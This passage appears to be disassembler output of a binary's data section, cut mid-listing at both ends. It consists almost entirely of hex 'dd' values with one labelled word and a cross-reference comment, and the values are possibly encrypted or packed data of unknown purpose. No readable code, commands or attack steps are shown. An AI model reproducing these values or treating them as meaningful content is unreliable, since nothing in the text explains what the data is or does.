4DFDEF89h, 0A8C64C81h, 0A1CA2D8h dd 0F40CD443h, 181F9809h dd 73CF6762h, 0A95EC736h, 36D7CD3h, 0F6B057Bh, 9C07C66Ah dd 56B3E755h, 275A60Ah, 5139CCC9h, 4E85BCE0h, 495DF618h dd 15073659h, 36A53153h, 5C96157Ch, 0E600B443h, 5455906Fh dd 4EBB0B35h, 0DA97AF4Eh, 0B819072Ch, 78FED73h, 0E6A5797Fh dd 0E83E1CDDh, 6312B1EDh, 0F502DBACh, 55F06A4Ah, 943E36A3h dd 65663F7Bh, 0D6AB20ADh, 682EFCD5h, 2AE4239Fh, 9F8A9950h dd 13BD42F4h, 4F94BDA3h, 3FD956EDh, 2D4A41D7h, 0DFDADE82h dd 0CA61F944h, 0FC51EAF2h, 78CAA6D0h, 0FA9B677Eh, 0EB6D82A9h dd 0D77A0862h, 8F5F1918h, 72CFDEA1h, 3EBD126Ah, 356F7A12h dd 39E575DCh, 0ABFC3AFh, 0FC1E0332h, 1F4C4C2Bh, 4BE78AB5h dd 1AEAD411h, 2A93BAD1h, 396AFD23h, 69A445D6h, 0E225A534h dd 0BB4DD3F4h, 7FDDFC17h, 0CF9EFC75h, 0ADC8F8B9h, 0DE28B24Ch dd 0D44772F9h, 2C9A49Dh, 414B2BF2h, 321961Ch, 0A74AC40h dd 996A8842h, 0D7E81F03h, 0D3562625h, 0A4838E14h, 0D0C3FB17h dd 14FA928Dh, 0B6C2F52h, 468A6D30h, 0EE0EDCCBh, 0E472FD65h dd 960EA4h, 447674AEh, 4BCEAF2Eh, 2368385Dh, 0C108F141h dd 41F77A15h, 0D708DCC6h, 26DD3493h, 9AB65D03h, 0A73EBE4Eh dd 58FC3A7Eh, 0A9825C1Dh, 0C4EFDAAEh, 44789D3Ch, 3C3F9E09h dd 0E9B33E68h, 5B7A190Ah, 0A6895922h, 0DD2A5F43h, 1BA82E18h dd 2B9AC3Fh, 0CC2EF001h, 7125E601h, 0D3840EAFh, 235F5296h dd 95084ED0h, 0C577EF31h, 3EF0B287h, 0F1C723EFh, 27EA4A39h dd 0F338D809h, 0A27136DDh, 6631EBD2h, 0C27B81F5h, 963B7B05h dd 7C1E1F3Ah, 81A25451h, 0A4C275F0h, 0B6BA3CC0h, 8BF6BA32h dd 7775C46h, 4A3B99F0h, 0A6FCA718h, 1C393878h, 6B557D37h dd 4B46B436h, 0D7A15478h, 0C63FC385h, 2AC4D6C1h, 2750F3B5h dd 8C44566Eh, 175A2568h, 1F4A74DAh, 7439E93Eh, 99FFF75h dd 0A03AB2F7h, 0F8375F0Eh, 25EF54B7h, 61F7A880h, 0D4EFDEDFh dd 6E29BD00h, 0FE0129F5h, 4E7B99C0h, 111532B8h, 0B8318F8Bh dd 0EE862D93h, 0E15A4FE4h, 0B41BF53Dh, 0BDAAA79Ch, 0EFAA8F62h dd 0DDAC4DE7h, 6214A059h, 0F0A4B573h, 817E7B0Dh, 0B1CF1F8Ch dd 0B0B4FD93h, 264C7E7Bh, 8BDE987Eh, 369FFB74h, 0B98FD2FFh dd 13C28FDBh, 0B2A5D4CAh, 0E264D73Bh, 5890299Dh, 0F264322Bh dd 2D7FFC14h, 0EAEBFADBh, 0F9855524h, 0BFC2A7E9h, 0CA82023Fh dd 48F20F90h, 0C995BFC5h, 750E54D8h, 0EC4FA001h, 17F23896h dd 7E65B8C7h, 5EE2F5A5h, 5E12998Dh, 1A8A23CAh, 0FE93359Bh dd 5A259F86h, 1912CBC8h, 0C4C15587h, 0A58A354Dh, 2A967E8Bh dd 0E7DA686Eh, 0F07B1D12h, 1FCD3F90h, 4CC0ADE2h, 0F1970209h dd 0ECC214FBh, 0CD7C643Ch, 0A5A54123h, 0ACB2C8F1h, 7FB4CA59h dd 0F9CD09E1h, 0B07D9B43h, 4573A187h, 0D84836A8h, 33B8BA4Bh dd 0FCDCE5E2h, 294F2C81h, 884414B0h, 0B835270Dh, 3E8AE56Eh dd 0D2F78FECh, 0B39EAD30h, 88E09A5Bh, 0AE07E092h, 73F7F39h dd 8A569678h, 29423890h, 13B2A039h, 0D7BDD00Dh, 0D094AF84h dd 0A5EF59Bh, 0C8EA51C5h, 7A9CBBCCh, 0B2CE8AD9h, 0CA160A4Dh dd 23E10533h, 74D51FEBh, 1F833D0Fh, 0DD52C472h, 3BE8EF0h dd 0E275FD4Ah, 83417CDFh, 0FC365112h, 0E1573B0h, 0DB059796h dd 0B9982DC7h, 1F3801E7h, 0D3428A0Ah, 0A9DA244Dh, 0FF672B41h dd 81F93957h, 36EA2EB7h, 1E97EC62h, 0BA2D017Eh, 0AD1805BFh dd 0F220597Eh, 5ADAEB24h, 6A1EE229h, 0D7125DA2h, 1039CCCh dd 0FD762AA5h, 0A946BC43h, 16E288A2h, 0B96EDE49h, 8B3DB56Eh dd 0E2756A56h, 12992F5Fh, 0B9AA8503h, 69A28F74h, 0A34DE4E6h dd 0EA3B57E9h, 4B54407Dh, 6AFF7E56h, 4C1454CEh, 77D40977h dd 65C687E0h, 60FA96A6h, 4B1CC017h, 0E8C1F6A2h, 820118BAh dd 7DB07974h, 57BA03F6h, 7823E5FEh, 54E28F03h, 95C31CDAh dd 74C05C5Fh, 0FD5DC5FDh, 8B46123h, 8BE1220Eh, 0CABAFBEDh dd 0F0BADA2Eh, 0AF54827h, 9499AF50h, 5FEF8011h, 0B7EDD745h dd 80ACE262h, 878730A3h, 3D6DBB8Fh, 0F272FACh, 610A88BFh dd 2A43FBF5h, 1EDF0AACh, 0E23C3807h, 0F576949h, 0D057750Ch dd 2D183972h, 6D13DB8Ch, 0F08E1ECh, 132EC9C4h, 40C3FE42h dd 0A2697DDDh, 0DE6EE129h, 251E39CDh, 0DB69FDB2h, 14CAD2DDh dd 70BE8395h, 1FB9AC86h, 0D39BB92Fh, 0A1F1A1B2h, 22926DB2h dd 6782445Fh, 7AF60C1h, 3233D6DCh, 4725A6EAh, 0F6B870E6h dd 1072B835h, 44BCC455h, 247B31F0h, 53545697h, 0E0F4BBF9h dd 9A9CF41Eh, 366260ADh, 54EC09A8h, 6C542277h, 4B953BBFh dd 9C97A2CAh, 76B18C6Eh, 0C955DF8Dh, 0B4E1F03Bh, 48A57DEFh dd 5844D0AFh, 252C4BFDh, 0A934F696h, 36B90E11h, 541ED154h dd 0B82C6EDCh, 54E88602h, 0B9C37F0Dh, 0FCC2E9F5h, 8CE2EB76h dd 0BC56A442h, 0AB8E2A76h, 8C398ECAh, 21428963h, 0B8A51B2Fh dd 0A51F1BFBh, 895F84A6h, 8F2277CBh, 35BC4E93h, 0CB45A0E9h dd 740E12F0h, 3F0B22FDh, 0AAB5BA3Ch, 2940D2EDh, 0C5465ECh dd 0BDE49229h, 2A10846Fh, 0FCF9C0FEh, 98983AB2h, 3DF757E3h dd 32F413F4h, 0D57485DAh, 5ADE2F86h, 0C4EF46C3h, 5D4EB633h dd 3F802790h, 0CBAB15D7h, 83A89DA7h, 3EABAACDh, 0A83BFADEh dd 11BD4C9Ah, 0FDE0CB69h, 0FF22516h, 37E9789Dh, 55FDDE25h dd 0C2B8662Bh, 3700024Fh, 0DDC1FEC2h, 2D1CBF1Eh, 0ABE4A8E7h dd 0AEE05FFDh, 553FE37Ch, 530C547Fh, 77FCA319h, 578AF3E8h dd 0BDACCEBh, 2DEB6293h, 6FDACFAh, 6AFB5645h, 0C578144Bh dd 0C58676D7h, 4E423284h, 0E57CA243h, 269CA368h, 2CE0A678h dd 38E44E58h, 0FF69F8EAh, 764118D2h, 4C30E282h, 0EBADC55Ah dd 43364135h, 0F45F8415h, 0DEE1F79Dh, 6893AC28h, 93FB72C0h dd 56214549h, 23FDD2B0h, 0F826F889h, 5C70D444h, 0C4C870DBh dd 0A0321017h, 0CF75B64Ah, 1D9476FAh, 0D5E0C141h, 9A505B7Bh dd 0D75B41FBh, 37E0F8C7h, 0D2A4D5AFh, 1FD715B5h, 9B507D58h dd 599B03CFh, 3A3360FCh, 0DDE174A6h, 197F0FC6h, 9C0F0FF8h dd 0BCD1BE58h, 7E20DF2Dh, 44BACF54h, 0B7A9EDB0h, 2B94B525h dd 81453CFDh, 0BF307176h, 0E82D7A69h, 0EA33AAC6h, 0FDDBACC6h dd 0EE343CFBh, 1CBC1D9Dh, 560605F9h, 0A711F7DEh, 249D195Ch dd 9675C66h, 39180A0Fh, 7A8FFCB4h, 5486DC4Ah, 0F3BFA4C3h dd 0C11107C1h, 4A73DAFCh, 0CFF441D8h, 1A7958B7h, 5D7EFE0h dd 0A33EA8FBh, 1FBC1D93h, 0A9B4A848h, 0F4B388F9h, 22B95C6h dd 0FD601C6Ah, 0F1E51A08h, 0EA4ACC73h, 7607F003h, 0B6E1975Dh dd 0E7574E0Dh, 2F73E1EFh, 0E0E86456h, 0A52D51A8h, 0A28F029Fh dd 7E11C1F0h, 0A7FEB8EEh, 0B87735A0h, 0DD5FCFEh, 5F5CFEBEh dd 0D5F30672h, 0A0B6879Ch, 0D5779654h, 0DD948FDh, 5704215Bh dd 0C37768B3h, 571E46D2h, 38DC14CEh, 67AEDE05h, 81C47AC0h dd 0F2D227EAh, 2CBF4BF8h, 0F47CAE97h, 780F0FABh, 58188B3Dh dd 7C0CF99Bh, 0BB75442Ah, 0FFDEEAF1h, 9972FB87h, 4B97DD8Eh dd 5CDB6281h, 4015585Eh, 0D2A2B8FCh, 0F9848EC8h, 2659CA57h dd 233FF070h, 0A293A819h, 681E8A9Dh, 0B8577CE2h, 0A12E33A0h dd 1DDDD1D9h, 0B230B639h, 21D48F5Dh, 2659731Dh, 0C9A7AA57h dd 0BFDE7726h, 0AECAE00Bh, 0B7EACAF2h, 0D4678782h, 3E1592EAh dd 0F39B36BBh, 0CC571543h, 0AD7EFC8Bh, 0B5AD4B9Eh, 6CC11D51h dd 7BC15168h, 0D8B5D720h, 0A4518450h, 15727151h, 4BD1D55Dh dd 0FBE237B7h, 13DF31E0h dd 1F870BBAh, 40A37F06h, 31F168E7h, 2AB41E30h, 7911748Eh dd 9C3BBB70h, 25FADB41h, 53AA8C69h, 62D3607Eh, 94920659h dd 0E1599593h, 7F49AA17h, 7EC7AF78h, 88DC6310h, 0B5AF4F09h dd 0A54CE25Fh, 4B9E950Dh, 0ADE5B497h, 0E1002FE8h, 343F761Ah dd 0BB48E6CCh, 0E3D7A53Dh, 38FA99D4h, 0E26FF83Ch, 0A86E87A5h dd 4CCBD0FBh, 0EF2E12A4h, 2BB6AEACh, 2829055h, 37EFBBE4h dd 0D67563DDh, 7A217563h, 0CD04C4A0h, 0AFB70F84h, 0F14DC700h dd 0FC460CF9h, 41CA230h, 7546478Ah, 8DD51E7Ch, 9BE0C307h dd 25D65452h, 6B9F1423h, 2F5C46E5h, 74AC74E6h, 71B2EEC5h dd 0AE9ACE0Ah, 1877735h, 47AE40CBh, 0B2AA8487h, 0AFF6AA06h dd 2F0ACF48h, 401E6279h, 0DE0FA149h, 42553D3h, 789FB616h dd 4D3FA195h, 0A87965B9h, 9E94D309h, 2BE93C08h, 0DEEBA1C8h dd 0E8137573h, 0B68C3B86h, 6984252Dh, 0DB5CFD1Dh, 0CC2FBF57h dd 58E29895h, 0A6E25A51h, 885BAA14h, 0E229D13Eh, 939E9400h dd 7712634Bh, 0D768AA2Dh, 5111CC29h, 1450F834h, 0D1C0B512h dd 57FBDF32h, 57C2B10Ah, 59E7E942h, 3256DF3Fh, 0E0BF54E1h dd 2FDB8D94h, 0C2C9ABE7h, 2B83FC40h, 46C701EAh, 603CF7AFh dd 0EE26675Ah, 0E9543E4Bh, 5AFF70D7h, 2CCC6E82h, 0B1010AD3h dd 0E8148F9Ch, 3ED637CDh, 0D0AF654Bh, 25D207D8h, 5AFA9FB6h dd 1F40F6E5h, 75B77E09h, 46AF2D7Fh, 2FC1B76Bh, 0C1A76F9Dh dd 53FCF0C2h, 6C7CFD94h, 3D2E4FFh, 0C6FCB53Bh, 0F23D19E4h dd 0AA0E5F83h, 0D6A69234h, 0BF64A5D7h, 0D52BC130h, 0C7352CC8h dd 537C4567h, 5CCE9736h, 0B6C8E1F8h, 47560547h, 6136E937h dd 928061Ah, 0E3A0D6FEh, 65E0AE07h, 114FD15Ah, 79244908h dd 0B9D21DEFh, 72AA7271h, 4E3C5B46h, 6D47B2ABh, 7DB7381Eh dd 1C1DC530h, 5C0F6B9Fh, 65A16B35h, 64B17E1h, 6A1E6581h dd 11AED675h, 0F4CFCE6Ah, 890E9D75h, 63DD4951h, 40D6D1E6h dd 5E14AFC1h, 0B83D043Ah, 0C0210EF5h, 113EC2Dh, 57D04EF0h dd 1468D7B9h, 6BB5E12Dh, 0DE2788h, 0A3575911h, 1DF744D1h dd 0EC93AE0Fh, 2E6B0389h, 0C9C3FDD7h, 42553120h, 0FED897F9h dd 0CEF2F17Ah, 56FE21F8h, 1E2FBC72h, 42DEFC6Bh, 0A3CBF6FEh dd 65BDAEB5h, 734D5153h, 78A6D493h, 0E962AEB6h, 3E8FF9F7h dd 3666AE38h, 651C3Bh, 54753138h, 199A8667h, 0C43542B9h dd 0A935AAC5h, 84344CA2h, 0DFA35F72h, 0E92D0A3Dh, 0EF5F769Fh dd 1958E3B0h, 0EF958BAFh, 0A75A4A52h, 8A7DE920h, 283737D0h dd 0ED15504Ah, 2EA9FCB2h, 15DC63E7h, 56681457h, 495C3EC5h dd 92B8A196h, 13FAE5DEh, 0CA94AA0Bh, 0A5F11576h, 56EAA3E0h dd 25207BBFh, 63DF4BAEh, 0D263D22Eh, 5AA46507h, 8AE2B801h dd 896C55B7h, 3E5CBBC4h, 0FD76C85Ah, 0B39A2935h, 2F37A523h dd 1B105650h, 0CB4EE774h, 36D85DA6h, 67C67DB9h, 0E902360Ah dd 0BC45AF34h, 3C5B3BE8h, 9DEE2F7Fh, 5963A998h, 0B6AAD878h dd 7D174FC0h, 3A6CF683h, 90B08A77h, 0BF5A9633h, 0B2CDEA7Fh dd 0F1E8581Ah, 4DB722B5h, 6135AD37h, 453E768Bh, 0D36303DAh dd 378359E0h, 0AADEFA98h, 5060A6Dh, 318BFFC1h, 0C1C42F87h dd 0F4608955h, 0F751DF61h, 0D6606275h, 0EBD7DFBCh, 88F4612Fh dd 3E4F3B98h, 0BDD2A114h, 4462D137h, 0C7A986F1h, 0E5B43194h dd 24B9F87Fh, 9C6FB991h, 18B7F3C3h, 31349349h, 28AD74BCh dd 6D935578h, 771F5637h, 7BA5772h, 71062359h, 5463DE27h dd 16A5FEFBh, 8A4C340Eh, 6B4562C2h, 0E291B215h, 46DA9ED9h dd 0AFA1AB86h, 4EF9759Bh, 23983682h, 48FAC0C3h, 67F70E30h dd 54BF10EBh, 39A8570Ch, 912A440Bh, 3FCEC378h, 0CFC4F213h dd 0ADD307EBh, 32209484h, 787E5716h, 0D6BAC960h, 0DFC51D2Fh dd 0EFEAA97Ch, 0B4F3D3E6h, 455A5B64h, 0FB052099h, 4B51A3B5h dd 0BF47195Bh, 40B6C0F8h, 9DD10FF2h, 330C2570h, 7F2E5DC8h dd 0F2E0A3F6h, 0BEB2C121h, 2DBCA27Fh, 0D0FFF68Eh, 49DB8CCh dd 0C2721A34h, 194ACA94h, 79EA592h, 3D222FC2h, 0E812D3E5h dd 7BBEDB62h, 57480B45h, 30D2E01Ah, 8FEEABF9h, 6466CEBEh dd 0FF07ED8Ah, 1A4B3478h, 0D9098508h, 94BAEE66h, 90430C9Fh dd 6DC61F87h, 38541641h, 175341F8h, 0B7F93068h, 302D03C8h dd 0F83EA655h, 10C2CB41h, 8A6458C8h, 487CEE36h, 0F6C807B3h dd 1F363027h, 5499BDF4h, 0B1F4D528h, 183B2DAEh, 8D59721h dd 3E55C7D2h, 0DA5CC424h, 0A2794700h, 16335ECDh, 86A4A468h dd 5F8B2554h, 5E54005Dh, 7263CAD5h, 624A0A35h, 7DED5D56h dd 0A15D66CDh, 0EF0DEE61h, 24340D8Ah, 4406D5E1h, 89565955h dd 0A79AA9AEh, 43F073DCh, 22CA2946h, 4CCC16AEh, 117D31EDh dd 96C0F660h, 53BF1670h, 5A93FC2Ah, 4C1CCC89h, 0BBD0A47Bh dd 0A8CBF638h, 314A8985h, 1F82DD1Eh, 0FC55CC7Eh, 0DDF11675h dd 0CE06A0AEh, 52797790h, 0D02A9FFDh, 0D92B92B4h, 44A7F9C3h dd 0CA6D7F37h, 0F4A641CFh, 838C2A13h, 66D51B15h, 0ABE3D65h dd 0F24D3C16h, 0B7352FF6h, 4EA66EA4h, 34BBA9F3h, 0B1815D8Eh dd 73A3196Ch, 2AC685F1h, 0B4A02372h, 7721E203h, 0BA225D07h dd 0EE7A3904h, 0C051BEC2h, 5BCD67E3h, 0B3D5F2A8h, 0EE2F272Ah dd 0B47D26CFh, 72D17ACAh, 0A864FD8Dh, 6E2652BFh, 5A31DEBDh dd 168C0B0Ch, 0AEAE1472h, 76E6E9EEh, 82427A4Fh, 52B25E5Dh dd 0FB8F5AC2h, 151FFEF3h, 2A3562D7h, 0EE74AAEBh, 8550A236h dd 3F7CB7DAh, 0C8C07E3Dh, 3B461127h, 4BFBD623h, 0D80BFCC4h dd 1C88AFBAh, 3E0DF877h, 9D445A3Ch, 19E41AE9h, 27E39099h dd 3583F4C3h, 0B4D4077Dh, 0D55D720Fh, 0C3E2620h, 0DEB1870Ch dd 6D54177Ah, 0D08654A8h, 2493CE1Eh, 2408CD68h, 19D5DB5Fh dd 9A624D53h, 0E2FC5908h, 8A07B37Eh, 20112C76h, 0CDDF7659h dd 3DF6C29Bh, 55483420h, 0EE8DCB39h, 0DD3FF317h, 998AB25h dd 0BA90543Fh, 0EA065B4Dh, 0EB93D89Fh, 7D9DE565h, 0CB2CC3F0h dd 0B9F3E3F1h, 5BA4AE97h, 0A8A1AA55h, 0AE43320Eh, 0AA332BA1h dd 0AF3B70AEh, 4E6123A9h, 0EDAF5DA6h, 381681FCh, 0A73972E9h dd 7343F8B5h, 44B1524Eh, 6C3F0D0Eh, 5DDADAAEh, 0AF8013E3h dd 7C104137h, 9D6C571Bh, 0F3BDCB34h, 37D60F7Eh, 0B06BF5AFh dd 66D42EABh, 2DB71595h, 0E0C80B6Fh, 0D02D03C7h, 5DD0FF5Ch dd 0BB179358h, 0DB90053Bh, 10BB5D96h, 273BAEB6h, 0CB7E07B5h dd 5247B883h, 6E341807h, 0B3D3ED8h, 6797B2BCh, 0DDE52EC3h dd 0CB672D38h, 9AC5DF87h, 6BE819B6h, 0EBE914B4h, 303ED6FBh dd 0DE49B443h, 93432A04h, 0CF9F3D69h, 2BFAAEBFh, 0CB545059h dd 45716511h, 871DF7B3h, 0BA914080h, 0DABFCB28h, 0F37BCD3Bh dd 8B67CB82h, 0C926612Dh, 2B56DFA6h, 9150B064h, 0F32D89C4h dd 0A760053Eh, 0ED05C4C7h, 4BAAB4D4h, 1B6C7571h, 0B85FAE37h dd 0D277E7CFh, 73DEC77Eh, 137A64A1h, 0B8E6EB2Dh, 6AC1B96Bh dd 1EA74317h, 0F0557EBBh, 1F2DAA34h, 1549F2E6h, 2FEE987h dd 2C960315h, 75B57C5Ah, 0BD39D2BBh, 9CF743FAh, 0F634C13Ah dd 6E2F0172h, 276CFD81h, 0FC670BF6h, 41836B0h, 0F3A9738Eh dd 0A6B91FEEh, 0A43AE75Eh, 46BAF2E7h, 0D9F4DBD5h, 77FBAAB7h dd 5643D781h, 0C38BD1D5h, 4F426EA5h, 0BF267755h, 0AF5C8C6Eh dd 0F0712FE8h, 5544A9FAh, 0ACB4FC4Dh, 0A6E2DBD4h, 0C4BE3E59h dd 6760773h, 3AB3C9D7h, 0F3A72498h, 0F0D47FB7h, 0AEB168F5h dd 0B3F1886Eh, 29275A32h dd 0BD7F3718h, 8A25338Eh, 8A7C970Fh, 1BB86ED4h, 6A696681h dd 701DDAB5h, 56907173h, 175689F5h, 543514A1h, 0D740034Fh dd 0C75D4296h, 0F3A69A70h, 6BA605EFh, 0DF3902C8h, 534E7E74h dd 0F2C4625Bh, 5E21E2ADh, 0AC29BC63h, 5E0BF81Ah, 795D75C7h dd 3CF1DB05h, 0B69681C5h, 0A3A05406h, 0D1DEF5D6h, 0AB84824Dh dd 99DFBABCh, 13B0BA1Dh, 0DEB019B1h, 0DC4BA419h, 0CEBC2EF2h dd 716A5B0Eh, 66E5DF71h, 3FC3B444h, 0EEE00FC1h, 8B0D393Dh dd 0FC67AD3h, 0E0700A75h, 0F6B1E83Eh, 0A497AF98h, 0A047499Ah dd 0BB9238F5h, 8A61BD9h, 0AB28B5DDh, 58C294BBh, 5A44A549h dd 39F8E9D0h, 6B6D8414h, 0B0AB462h, 0F1CDA2D8h, 4791B529h dd 64E5F215h, 0D018B26Ch, 85DDF706h, 15DC617Dh, 9C7283E0h dd 39B2F152h, 3F3D9456h, 0C75CF46Eh, 55A1FC13h, 681C4E47h dd 0E4749818h, 4FF947D3h, 0FE504FA9h, 0C4D91764h, 3443FC56h dd 186D1574h, 3C4A30E7h, 3AFD1ABFh, 0AADE830h, 0B03EBF6Dh dd 0FEEC635Fh, 2B920E49h, 0B3658177h, 0AA7B8094h, 73F9C1E6h dd 9345DFFh, 3A2E409Fh, 0B2C0F3A5h, 0C0766ADFh, 0E07C48D7h dd 0EC1B9851h, 0BB72B99Fh, 0D21C6Ch, 827BB575h, 0AC0FD1BDh dd 91F83255h, 3C278B45h, 0BBFD6C38h, 34C86E7Bh, 0E44F5E41h dd 9289D1AEh, 0DF68DE06h, 2C075BABh, 0EAD470DFh, 0E3C7B70h dd 0FD90EF8Eh, 0DB721F73h, 0DE37C59Dh, 0F3D6A6D8h, 1060A950h dd 0C744FE18h, 275DE8BFh, 94082BE5h, 0F624BC42h, 7F722068h dd 0EECD2660h, 2318D669h, 0DC66F691h, 98B8A756h, 48B6C32Ch dd 0FED12AFEh, 0E0FA02A8h, 6C5389FDh, 8931A20Dh, 23BDB7F4h dd 35E17E46h, 50D549DDh, 0D120F781h, 7F3ACFAAh, 0CF7CDC77h dd 0F292D8CAh, 733EA8CFh, 0A7AFB3A1h, 0F039D129h, 5DCBDA36h dd 84C47CF5h, 70A64450h, 494824h, 0CC55F223h, 9816D784h dd 423282AFh, 44EC1B8Bh, 1732F770h, 542BC1B5h, 4B3BFF6Bh dd 0C63A3EB1h, 0ED2AF541h, 0B6CA8D1Ch, 7573F962h, 55EBD498h dd 1DAA82DAh, 0D3AC781Fh, 7CA5E5EFh, 0F876C04Ch, 4BE87304h dd 0C774596Ch, 0BE05BC44h, 4BAFE042h, 0AA971688h, 6A6795A9h dd 0EDF934D2h, 85A9C02Bh, 82FF1C72h, 8BEE74F1h, 685F7F7Eh dd 9B8874E3h, 0E8791862h, 0FE061B90h, 5A618E3Ah, 0A8C12635h dd 0E04C8D7Ah, 0D519DB29h, 0B8CBBF6Ah, 383008C0h, 3CAD59F2h dd 0AC7A427Eh, 1160403Bh, 0F491A488h, 2E511C50h, 1A997AF6h dd 4AAF30A6h, 0CB90D2B3h, 37D25EC1h, 357EE45Ah, 920B7865h dd 0BFBA4038h, 0E64D1D14h, 67CF8FD7h, 193FF83Ch, 600B2B71h dd 0F1E5F7DBh, 0F681CBCBh, 2809578Ch, 8A28DBFDh db 0B2h, 4Fh word_77656E dw 0AE96h ; DATA XREF: .data:off_42D708o dd 6C3F46BBh, 348A10FDh, 74815689h, 0E8AFF93Eh, 6B9035DCh dd 6EA470EFh, 82EEE112h, 960A6F84h, 4F0F79B5h, 1D2902B4h dd 0D19B07C7h, 0E0BBE837h, 0AAF8FDB8h, 0EF6287F9h, 1D37928Ah dd 665C22EAh, 68D7ABCAh, 6E9BF919h, 5404E939h, 0A75C39A6h dd 0AE07B210h, 0B842734Fh, 0B7678D48h, 0DE7F3358h, 5EFC5B09h dd 0DBC91E71h, 76365CCh, 0E783890Dh, 0C6FED897h, 375E682h dd 27F1012Bh, 0A115B3CEh, 0F7D974FAh, 6A950C1Dh, 45390677h dd 410901C6h, 34D55D9h, 5A3A5EEAh, 35CDB39Ah, 655F563Ah dd 2FF8B0EFh, 2796FD8Ch, 0E983DA41h, 0F4A1510Ah, 6F0BB476h dd 0E0A3AF7Ch, 38559249h, 29D8F0F3h, 0FEFA671Bh, 9CB587E1h dd 119BC6CCh, 226E01E2h, 6B1AACE9h, 75B1F4ACh, 25F8A359h dd 7D6D7075h, 6EDF106Ah, 7F6EDD33h, 98DE6836h, 7ADAB63Dh dd 9A2D014Fh, 0E00A942Ah, 2B55D5DBh, 6B5AD8A1h, 5E53B4EFh dd 23690B5Ah, 5362025Eh, 3250CABCh, 0F98830CCh, 0A701B24Ah dd 0AD68A347h, 737ABD1Ah, 0AC8FAEE3h, 23C3657Bh, 94393A72h dd 0AD3CD6EAh, 2C5E9F5Ah, 254F8B9Ah, 0D1158427h, 21399492h dd 299A7DBh, 0C5BA7D4Eh, 5F76A658h, 8EA6FF5Ch, 60F5BAFCh dd 9AEAE32Fh, 15CBE1D7h, 0A9797096h, 899C662Eh, 0AFD26976h dd 45B537C4h, 0CD1DD41Ah, 93F7F584h, 0BDC3C6B8h, 2E525DAAh dd 0E6A8F0D0h, 1FF59B2Dh, 80C50E27h, 3BB1C4CEh, 9A69760Bh dd 9F9862C8h, 69A53B5h, 75504C57h, 59F79993h, 60EB82BEh dd 0E0623087h, 7E9F9133h, 37EAA8BFh, 0FEE480B5h, 3A535BEh dd 0BD9EFA2h, 0E2DBFA0Dh, 9573393Eh, 88DFF1C7h, 85C9172Ch dd 0C3F62B7Bh, 98CAADFEh, 0B861F455h, 0FC52BC0Fh, 30557AC8h dd 0D57C24F7h, 448EE5F5h, 0AD351EEBh, 33550D62h, 4DE64D5Fh dd 0A843EA83h, 9B46E7B8h, 0B43A7659h, 0CCC6479Eh, 4E55670Ah dd 5BC495ABh, 96E04EB1h, 2BADC570h, 0CBDF54C9h, 1DEAD790h dd 0DB530C96h, 0EA72EAD1h, 0C6769D97h, 85A9291Bh, 0F1030653h dd 9F62994Fh, 0FC5C591Ch, 6FCC78C5h, 0FCEFEB76h, 0AAD90617h dd 9175F5E0h, 0EC2024C5h, 59C0F9BAh, 81E45182h, 764A9BC3h dd 0D6F35661h, 0CD4EC048h, 0D9BCEB0h, 3F098529h, 0AAD228CCh dd 31A24C98h, 96FB0CFFh, 0A663EB82h, 6B2E0ADCh, 0F479E288h dd 0A1AFEA2Ch, 0A586589Ah, 2A57A784h, 83A372F0h, 0EF4695BFh dd 0FBB50301h, 81B12313h, 195770AAh, 0C95A4877h, 0D63616D3h dd 0D83B0DEEh, 8B4D6603h, 257FA607h, 0B9CEEC7Ah, 83C4B96Fh dd 0FBF9B3DFh, 74E2CAB3h, 0CEBCC683h, 2DAA0502h, 21DFC6D8h dd 0CE3596ADh, 0FEFE9CC2h, 4EFD605Dh, 0D2519413h, 146E8BF1h dd 7B24DDADh, 0EEC9DBFEh, 0D985BB03h, 9D05663h, 0A983F4D9h dd 9B5C6B97h, 0A907F9D0h, 0A5570353h, 3DA7C72Ah, 6BA67C11h dd 65290B4h, 0E7E51757h, 2050D981h, 8BB8CAECh, 5C62FC4Eh dd 193E35F1h, 1F8AFB0Eh, 0DBE99DFEh, 2EA924FEh, 0ADCB6ACCh dd 0C514EECFh, 0A3053711h, 0C3F16853h, 1AB6E4BBh, 30A77B58h dd 29809B43h, 0C48271D7h, 0DF91856h, 5C18BDA2h, 5DD4CCB1h dd 6D286A5Ch, 0FE6C745Bh, 0CEE143B1h, 8F0076F8h, 689DF8FEh dd 0AD1D72C9h, 66B55081h, 0EA866CC3h, 54A7EC8h, 395B0E39h dd 0C7A22AC2h, 0F3B7B921h, 87E9FE1Dh, 7CDA3372h, 0F50ED025h dd 9A2BF5D0h, 0DA492BE2h, 4B12E520h, 0C062F37Dh, 0C96F2942h dd 0CBAE94CCh, 0E33C9E57h, 62088D65h, 0F2BA861Eh, 0F28D399Bh dd 3DA19A48h, 0F265B7F1h, 96FE3FE7h, 7965AF09h, 0AFE682EFh dd 0CCC69B36h, 649F3E02h, 1F7EDCDDh, 0D5483404h, 575285A3h dd 987FA96Bh, 522F9605h, 60BAC5AAh, 0CBF7CFDCh, 0ABD57DAAh dd 0C1EFBF46h, 23906C5Fh, 0AB2ED2D1h, 0D657C52Ah, 95B42455h dd 742A45CEh, 0C3033A05h, 6D7769DEh, 7E36CE9Fh, 0BC4A14E8h dd 0F97FD2E9h, 7ED6FBC7h, 0D8CB7C8Dh, 65F85FD7h, 368A64BFh dd 25757C6Ah, 71A72EB5h, 0B026ABB6h, 1895CA97h, 0E9CB60B0h dd 0A9D65252h, 2A215AE6h, 0FEB397E5h, 0F81701C0h, 81E9FD9Ah dd 2BF064FFh, 7CAA8B1h, 0ED104C4Ah, 0FB3DA954h, 71B45D64h dd 0F5E45B5Fh, 44B4292Fh, 0DB4734CFh, 8202ED8h, 380B51FEh dd 0BAAE7D95h, 0B40B759h, 0B9E7EE2Eh, 0B07554C8h, 0A8AAD5D8h dd 0A72D45E4h, 0B8356CB6h, 0DB0123FEh, 5B8D779Dh, 0A28ABF74h dd 1FBBC9D7h, 8AA8A57Ah, 0D7735E00h, 0BEF06475h, 6651D1BBh dd 0C2F2CD2h, 195FB577h, 0FB1721E2h, 465DCBABh, 334D5550h dd 29D9C7EEh, 0F8831D10h, 2F0CD9E1h, 87D3FA86h, 0BA17AB9Ah dd 0F7B1D7FBh, 0DC47F349h, 222EEC8Ah, 3387F507h, 0EFB40D43h dd 1D7C85A5h, 433AABFDh, 60F73A38h, 0B96AA558h, 0F5CDDF6Dh dd 0EBD2F8C0h, 0DD5DF07Ch, 0E23B169Fh, 5EB37BDAh, 0AAB3F9A9h dd 72CEE201h, 0BAF3ABACh, 0E309BF7h, 0E7ABC374h, 3D73E7Dh dd 3835F11Bh, 33F95E21h, 0B86E38F4h, 0DEBB3375h, 